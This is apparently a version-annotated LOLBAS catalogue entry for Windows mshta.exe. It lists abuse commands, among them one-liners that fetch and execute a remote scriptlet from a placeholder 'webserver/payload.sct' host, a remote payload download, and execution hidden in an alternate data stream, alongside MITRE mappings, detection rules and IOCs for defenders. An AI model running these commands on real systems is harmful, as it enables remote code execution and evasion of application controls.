2018-06-09 00:15:06 +02:00
|
|
|
---
|
2018-09-24 21:59:43 +02:00
|
|
|
Name: Mshta.exe
|
|
|
|
Description: Used by Windows to execute html applications. (.hta)
|
2022-10-04 13:27:31 +02:00
|
|
|
Author: Oddvar Moe
|
2021-01-10 16:04:52 +01:00
|
|
|
Created: 2018-05-25
|
2018-06-09 00:15:06 +02:00
|
|
|
Commands:
|
|
|
|
- Command: mshta.exe evilfile.hta
|
|
|
|
Description: Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.
|
2018-09-24 21:59:43 +02:00
|
|
|
Usecase: Execute code
|
|
|
|
Category: Execute
|
|
|
|
Privileges: User
|
2021-11-05 19:58:26 +01:00
|
|
|
MitreID: T1218.005
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2022-05-05 12:12:22 +02:00
|
|
|
- Command: mshta.exe vbscript:Close(Execute("GetObject(""script:https://webserver/payload.sct"")"))
|
2018-06-09 00:15:06 +02:00
|
|
|
Description: Executes VBScript supplied as a command line argument.
|
2018-09-24 21:59:43 +02:00
|
|
|
Usecase: Execute code
|
|
|
|
Category: Execute
|
|
|
|
Privileges: User
|
2021-11-05 19:58:26 +01:00
|
|
|
MitreID: T1218.005
|
2022-05-05 12:12:22 +02:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
|
|
|
- Command: mshta.exe javascript:a=GetObject("script:https://webserver/payload.sct").Exec();close();
|
2018-06-09 00:15:06 +02:00
|
|
|
Description: Executes JavaScript supplied as a command line argument.
|
2018-09-24 21:59:43 +02:00
|
|
|
Usecase: Execute code
|
|
|
|
Category: Execute
|
|
|
|
Privileges: User
|
2021-11-05 19:58:26 +01:00
|
|
|
MitreID: T1218.005
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2018-06-09 00:15:06 +02:00
|
|
|
- Command: mshta.exe "C:\ads\file.txt:file.hta"
|
|
|
|
Description: Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.
|
2018-09-24 21:59:43 +02:00
|
|
|
Usecase: Execute code hidden in alternate data stream
|
2018-09-26 09:34:01 +02:00
|
|
|
Category: ADS
|
2018-09-24 21:59:43 +02:00
|
|
|
Privileges: User
|
2021-11-05 19:58:26 +01:00
|
|
|
MitreID: T1218.005
|
2019-06-27 13:40:03 +02:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 (Does not work on 1903 and newer)
|
2022-10-04 13:27:31 +02:00
|
|
|
- Command: mshta.exe https://example.com/payload
|
|
|
|
Description: It will download a remote payload and place it in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)
|
|
|
|
Usecase: Downloads payload from remote server
|
|
|
|
Category: Download
|
|
|
|
Privileges: User
|
|
|
|
MitreID: T1105
|
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2018-12-10 14:28:12 +01:00
|
|
|
Full_Path:
|
2018-09-24 21:59:43 +02:00
|
|
|
- Path: C:\Windows\System32\mshta.exe
|
|
|
|
- Path: C:\Windows\SysWOW64\mshta.exe
|
2021-01-10 16:04:52 +01:00
|
|
|
Code_Sample:
|
2022-05-05 12:12:22 +02:00
|
|
|
- Code: https://gist.github.com/bohops/6ded40c4989c673f2e30b9a6c1985019
|
2018-09-24 21:59:43 +02:00
|
|
|
Detection:
|
2021-11-15 14:19:03 +01:00
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/05c58b4892942c34bfa01e9ada88ef2663858e1c/rules/windows/process_creation/win_susp_mshta_pattern.yml
|
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_invoke_obfuscation_via_use_mhsta.yml
|
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_lethalhta.yml
|
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/f4ac416ef44862930730f8b7f16362b0e987bc71/rules/windows/process_creation/win_shell_spawn_mshta.yml
|
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/ff0f1a0222b5100120ae3e43df18593f904c69c0/rules/windows/process_creation/win_mshta_javascript.yml
|
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/file_event/sysmon_susp_clr_logs.yml
|
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/image_load/sysmon_susp_script_dotnet_clr_dll_load.yml
|
|
|
|
- Elastic: https://github.com/elastic/detection-rules/blob/f8f643041a584621e66cf8e6d534ad3db92edc29/rules/windows/defense_evasion_mshta_beacon.toml
|
|
|
|
- Elastic: https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/lateral_movement_dcom_hta.toml
|
|
|
|
- Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml
|
|
|
|
- Splunk: https://github.com/splunk/security_content/blob/08ed88bd88259c03c771c30170d2934ed0a8f878/stories/suspicious_mshta_activity.yml
|
|
|
|
- Splunk: https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_mshta_renamed.yml
|
|
|
|
- Splunk: https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_mshta_spawn.yml
|
|
|
|
- Splunk: https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_mshta_child_process.yml
|
|
|
|
- Splunk: https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_mshta_url_in_command_line.yml
|
|
|
|
- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
|
|
|
|
- IOC: mshta.exe executing raw or obfuscated script within the command-line
|
|
|
|
- IOC: General usage of HTA file
|
|
|
|
- IOC: msthta.exe network connection to Internet/WWW resource
|
|
|
|
- IOC: DotNet CLR libraries loaded into mshta.exe
|
|
|
|
- IOC: DotNet CLR Usage Log - mshta.exe.log
|
2018-06-09 00:15:06 +02:00
|
|
|
Resources:
|
2018-09-24 21:59:43 +02:00
|
|
|
- Link: https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_4
|
|
|
|
- Link: https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/mshta.sct
|
|
|
|
- Link: https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/
|
2021-01-10 16:04:52 +01:00
|
|
|
- Link: https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
|
2018-09-24 21:59:43 +02:00
|
|
|
Acknowledgement:
|
|
|
|
- Person: Casey Smith
|
|
|
|
Handle: '@subtee'
|
|
|
|
- Person: Oddvar Moe
|
|
|
|
Handle: '@oddvarmoe'
|
2022-10-04 13:27:31 +02:00
|
|
|
- Person: Nir Chako (Pentera)
|
|
|
|
Handle: '@C_h4ck_0'
|